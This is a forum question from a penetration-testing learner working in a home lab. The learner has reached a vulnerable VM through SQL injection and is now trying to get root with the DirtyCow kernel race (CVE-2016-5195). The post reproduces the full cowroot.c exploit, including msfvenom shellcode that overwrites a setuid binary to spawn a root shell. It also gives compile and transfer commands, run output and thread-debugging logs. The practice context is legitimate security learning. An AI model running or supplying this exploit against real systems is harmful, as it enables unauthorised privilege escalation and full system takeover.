I am trying to learn Penetration testing. While learning I was trying to practice on my own as well. I had found a vulnerable image called ICE 120 in internet which is a vulnerable web application and was able to get usernames and hashes for the system after exploiting sql injection.
Now while I had logged into that system with a non privileged user, I was trying to escalate the privilege using dirtycow vulnerability CVE-2016-5195.
Please find the below information about the kernel and a sample code I was using from github, but it seems that it is not working. As I am novice I would really appreciate your guidance to understand whether I am doing something wrong or the kernel is not exploitable at all. Please note I am using virtual machine image to practice this.
Victim Kernel:
/home/jdavenport >>uname -a
Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-3630QM CPU @ 2.40GHz GenuineIntel GNU/Linux
/home/jdavenport >>
I am using the below code from github (I have tried few other variance from github which use the same concept of dirtycow). I have compiled this code actually in Kali machine (another VM in my test lab as an attacker machine) using "gcc -o cowroot cowroot.c -m32 -pthread" as the victim machine was throwing some compilation error for "invalid type of structure". Then I have used scp to transfer the binary of the code to my victim machine.
scp cowroot jdavenport@192.168.1.120:/home/jdavenport/cowroot1
For your information my Kali Kernel is as follows
Linux kali 4.8.0-kali2-amd64 #1 SMP Debian 4.8.15-1kali1 (2016-12-23) x86_64 GNU/Linux.
Dirtycow code I have used is as follows:
/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*
* @robinverton
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;
// change if no permissions to read
char suid_binary[] = "/etc/passwd";
/*
* msfvenom -p linux/x64/exec CMD="echo '0' > /proc/sys/vm/dirty_writeback_centisecs;/bin/bash" PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4e, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
0x3c, 0x00, 0x00, 0x00, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x27, 0x30, 0x27,
0x20, 0x3e, 0x20, 0x2f, 0x70, 0x72, 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73,
0x2f, 0x76, 0x6d, 0x2f, 0x64, 0x69, 0x72, 0x74, 0x79, 0x5f, 0x77, 0x72,
0x69, 0x74, 0x65, 0x62, 0x61, 0x63, 0x6b, 0x5f, 0x63, 0x65, 0x6e, 0x74,
0x69, 0x73, 0x65, 0x63, 0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62,
0x61, 0x73, 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 227;
*/
/*
* msfvenom -p linux/x86/exec CMD="echo '0' > /proc/sys/vm/dirty_writeback_centisecs;/bin/bash" PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xba, 0x00, 0x00, 0x00,
0x20, 0x01, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x3c, 0x00, 0x00, 0x00,
0x65, 0x63, 0x68, 0x6f, 0x20, 0x27, 0x30, 0x27, 0x20, 0x3e, 0x20, 0x2f,
0x70, 0x72, 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73, 0x2f, 0x76, 0x6d, 0x2f,
0x64, 0x69, 0x72, 0x74, 0x79, 0x5f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x62,
0x61, 0x63, 0x6b, 0x5f, 0x63, 0x65, 0x6e, 0x74, 0x69, 0x73, 0x65, 0x63,
0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00,
0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 186;
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf("thread stopped\n");
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
lseek(f,map,SEEK_SET);
c+=write(f, str, sc_len);
}
printf("thread stopped\n");
}
void *waitForWrite(void *arg) {
char buf[sc_len];
for(;;) {
FILE *fp = fopen(suid_binary, "rb");
fread(buf, sc_len, 1, fp);
if(memcmp(buf, sc, sc_len) == 0) {
printf("%s overwritten\n", suid_binary);
break;
}
fclose(fp);
sleep(1);
}
stop = 1;
printf("Popping root shell.\n");
printf("Don't forget to restore /tmp/bak\n");
system(suid_binary);
}
int main(int argc,char *argv[]) {
char *backup;
printf("DirtyCow root privilege escalation\n");
printf("Backing up %s to /tmp/bak\n", suid_binary);
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup);
f = open(suid_binary,O_RDONLY);
fstat(f,&st);
printf("Size of binary: %d\n", st.st_size);
char payload[st.st_size];
memset(payload, 0x90, st.st_size);
memcpy(payload, sc, sc_len+1);
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("Racing, this may take a while..\n");
pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);
pthread_join(pth3, NULL);
return 0;
}
After running the code it simply gets completed without popping up new shell or anything.
/home/jdavenport >>./cowroot1
DirtyCow root privilege escalation
Backing up /etc/passwd to /tmp/bak
Size of binary: 3372
Racing, this may take a while..
thread stopped
thread stopped
* Update 08/04/2017* As advised by Josh I have now modified the cowroot c program with correct SUID binary which has read permission to non-privileged user as well.
jdavenport@slax:/usr/bin$ ls -lrt kcheckpass
-rwsr-xr-x 1 root root 10104 Oct 26 2008 kcheckpass*
Still I am not able to exploit the vulnerability. In my mind there could be couple of reasons -
- Kernel is not vulnerable
My argument is that the kernel version shows it should be vulnerable
jdavenport@slax:/usr/bin$ uname -a
Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-3630QM CPU @ 2.40GHz GenuineIntel GNU/Linux
jdavenport@slax:/usr/bin$
- The exploit code is not working as expected.
I think I may have found a reason and it is related to threading.
I have read the concept of dirty copy on write exploit and it seems that it is fully dependent on race condition due to two simultaneous threads trying to work (madvise and private write) on the file.
I have modified the C program to print within the threads and redirected that to a log file for later analysis. An excerpt is as follows:
void *madviseThread(void *arg) { char str; str=(char)arg; int i,c=0; for(i=0;i<10000000 && !stop;i++) { c+=madvise(map,100,MADV_DONTNEED); printf("t1 => %d\n",c); } printf("thread stopped\n"); }
void *procselfmemThread(void *arg) { char str; str=(char)arg; int f=open("/proc/self/mem",O_RDWR); int i,c=0; for(i=0;i<10000000 && !stop;i++) { lseek(f,map,SEEK_SET); c+=write(f, str, sc_len); printf("t2 => %d\n",c); } printf("thread stopped\n"); }
- While analyzing the logs it seems threads are working in a clustered way e.g. bunch of execution of thread 1 and then bunch of execution of thread 2. An example - while counting the 1st occurrence of thread 2 is found after 35142 lines
root@kali:~# grep -n "t2 => -1" cowlog.txt | head -10
35413:t2 => -1 35422:t2 => -10 35423:t2 => -11 35424:t2 => -12 35425:t2 => -13 35426:t2 => -14 35427:t2 => -15 35428:t2 => -16 35429:t2 => -17 35430:t2 => -18
My GCC version from where I have compiled the code is as follows
root@kali:~# gcc --version
gcc (Debian 6.3.0-11) 6.3.0 20170321 Copyright (C) 2016 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
root@kali:~#
And I have compiled my program using the below
gcc -o cowroot cowroot.c -m32 -pthread
Your expert advise would be much appreciated.